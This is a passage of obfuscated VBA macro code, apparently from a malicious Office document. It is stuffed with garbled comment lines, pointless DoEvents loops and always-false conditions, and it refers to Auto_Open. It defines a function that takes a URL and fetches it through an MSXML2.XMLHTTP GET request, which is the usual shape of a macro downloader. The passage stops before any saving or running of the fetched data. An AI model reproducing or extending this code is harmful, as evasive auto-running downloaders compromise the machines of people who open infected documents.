  315. Dim PbSvEhlJ As Integer
  316. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  317. For PbSvEhlJ = 0 To 6
  318. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  319. Dim bFKhTOYG As Integer
  320. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  321. For bFKhTOYG = 0 To 4
  322. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  323. DoEvents
  324. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  325. Next bFKhTOYG
  326. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  327. DoEvents
  328. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  329. Next PbSvEhlJ
  330. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  331. Dim WkFUkdYT As Integer
  332. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  333. For WkFUkdYT = 0 To 7
  334. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  335. DoEvents
  336. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  337. Next WkFUkdYT
  338. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  339.       MsgBox ("Error !!!")
  340. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  341. End If
  342. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  343. Dim trUJgLlU As Integer
  344. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  345. For trUJgLlU = 0 To 3
  346. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  347. Dim xtxNqOon As Integer
  348. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  349. For xtxNqOon = 0 To 3
  350. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  351. DoEvents
  352. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  353. Next xtxNqOon
  354. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  355. DoEvents
  356. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  357. Next trUJgLlU
  358. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  359. Dim RfozlAQR As Integer
  360. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  361. For RfozlAQR = 0 To 7
  362. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  363. DoEvents
  364. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  365. Next RfozlAQR
  366. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  367.    Auto_Open
  368. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  369.  
  370. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  371. End Sub
  372. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  373. Function QOZMTJITZON(ByVal DCRVOFYOBOL As String, ByVal ZXWOGYWHSHM As String) As Boolean
  374. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  375.     Dim TANDPOVQGQA As Object, FJOOUIEHIOV As Long, FPBPEDJWSVG As Long, QIQIKQJTKIU() As Byte
  376. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  377.  
  378. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  379. If 566372 = 566372 + 1 Then End
  380. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  381. If 2411 < 27 Then
  382. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  383. Dim rfPSmzlN As Integer
  384. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  385. For rfPSmzlN = 0 To 9
  386. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  387. Dim ATYpjcIY As Integer
  388. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  389. For ATYpjcIY = 0 To 4
  390. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  391. DoEvents
  392. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  393. Next ATYpjcIY
  394. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  395. DoEvents
  396. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  397. Next rfPSmzlN
  398. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  399. Dim IFlqvhqP As Integer
  400. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  401. For IFlqvhqP = 0 To 5
  402. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  403. DoEvents
  404. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  405. Next IFlqvhqP
  406. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  407.        MsgBox ("nKVDQSej91")
  408. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  409. End If
  410. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  411. If Len("ACCeTSDh5674") = Len("wjwIvKaE") Then
  412. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  413. Dim sffbGJoy As Integer
  414. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  415. For sffbGJoy = 0 To 7
  416. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  417. Dim PAbPxqto As Integer
  418. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  419. For PAbPxqto = 0 To 2
  420. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  421. DoEvents
  422. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  423. Next PAbPxqto
  424. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  425. DoEvents
  426. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  427. Next sffbGJoy
  428. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  429. Dim ctlgBRWB As Integer
  430. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  431. For ctlgBRWB = 0 To 9
  432. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  433. DoEvents
  434. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  435. Next ctlgBRWB
  436. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  437.       MsgBox ("Error !!!")
  438. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  439. End If
  440. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  441. Dim WdkiruYI As Integer
  442. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  443. For WdkiruYI = 0 To 4
  444. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  445. Dim BJzIKaxL As Integer
  446. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  447. For BJzIKaxL = 0 To 5
  448. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  449. DoEvents
  450. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  451. Next BJzIKaxL
  452. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  453. DoEvents
  454. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  455. Next WdkiruYI
  456. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  457. Dim nIjnoxeb As Integer
  458. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  459. For nIjnoxeb = 0 To 1
  460. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  461. DoEvents
  462. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  463. Next nIjnoxeb
  464. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  465.    Set TANDPOVQGQA = CreateObject("MSXML2.XMLHTTP")
  466. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  467.  
  468. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  469.    TANDPOVQGQA.Open "GET", DCRVOFYOBOL, False
  470. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  471. If 827871 = 827871 + 1 Then End
  472. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  473. If 2968 < 85 Then
  474. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  475. Dim CNvYzzAu As Integer
  476. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  477. For CNvYzzAu = 0 To 1
  478. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  479. Dim McdFpCWD As Integer
  480. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  481. For McdFpCWD = 0 To 1
  482. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  483. DoEvents
  484. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  485. Next McdFpCWD
  486. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  487. DoEvents
  488. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  489. Next CNvYzzAu
  490. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  491. Dim bHUopjZl As Integer
  492. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  493. For bHUopjZl = 0 To 6
  494. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  495. DoEvents
  496. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  497. Next bHUopjZl
  498. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  499.        MsgBox ("qsBIZzgG98")
  500. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  501. End If
  502. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  503. If Len("AxnHEQRV5232") = Len("eNeeSprR") Then
  504. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  505. Dim fuJqwQoo As Integer
  506. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  507. For fuJqwQoo = 0 To 7
  508. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  509. Dim jLLhblEW As Integer
  510. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  511. For jLLhblEW = 0 To 8
  512. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  513. DoEvents
  514. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  515. Next jLLhblEW
  516. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  517. DoEvents
  518. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  519. Next fuJqwQoo
  520. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  521. Dim FrvMnLlY As Integer
  522. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  523. For FrvMnLlY = 0 To 3
  524. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  525. DoEvents
  526. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  527. Next FrvMnLlY
  528. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  529.       MsgBox ("Error !!!")
  530. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  531. End If
  532. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  533. Dim IQSZuhoB As Integer
  534. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  535. For IQSZuhoB = 0 To 2
  536. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  537. Dim dgNQQjLb As Integer
  538. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  539. For dgNQQjLb = 0 To 7
  540. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  541. DoEvents
  542. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  543. Next dgNQQjLb
  544. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  545. DoEvents
  546. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  547. Next IQSZuhoB
  548. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  549. Dim KUwyQQnu As Integer
  550. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  551. For KUwyQQnu = 0 To 4
  552. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  553. DoEvents
  554. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  555. Next KUwyQQnu
  556. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  557.    TANDPOVQGQA.Send "sfdggdfe"
  558. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  559.  
  560. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  561.  
  562. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  563.  
  564. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  565. If 924828 = 924828 + 1 Then End
  566. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  567. If 6996 < 87 Then
  568. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  569. Dim CeoHYCVh As Integer
  570. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  571. For CeoHYCVh = 0 To 4
  572. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  573. Dim GzTxeFrs As Integer
  574. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  575. For GzTxeFrs = 0 To 3
  576. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  577. DoEvents
  578. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  579. Next GzTxeFrs
  580. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  581. DoEvents
  582. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  583. Next CeoHYCVh
  584. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  585. Dim mmNJeoQL As Integer
  586. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  587. For mmNJeoQL = 0 To 9
  588. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  589. DoEvents
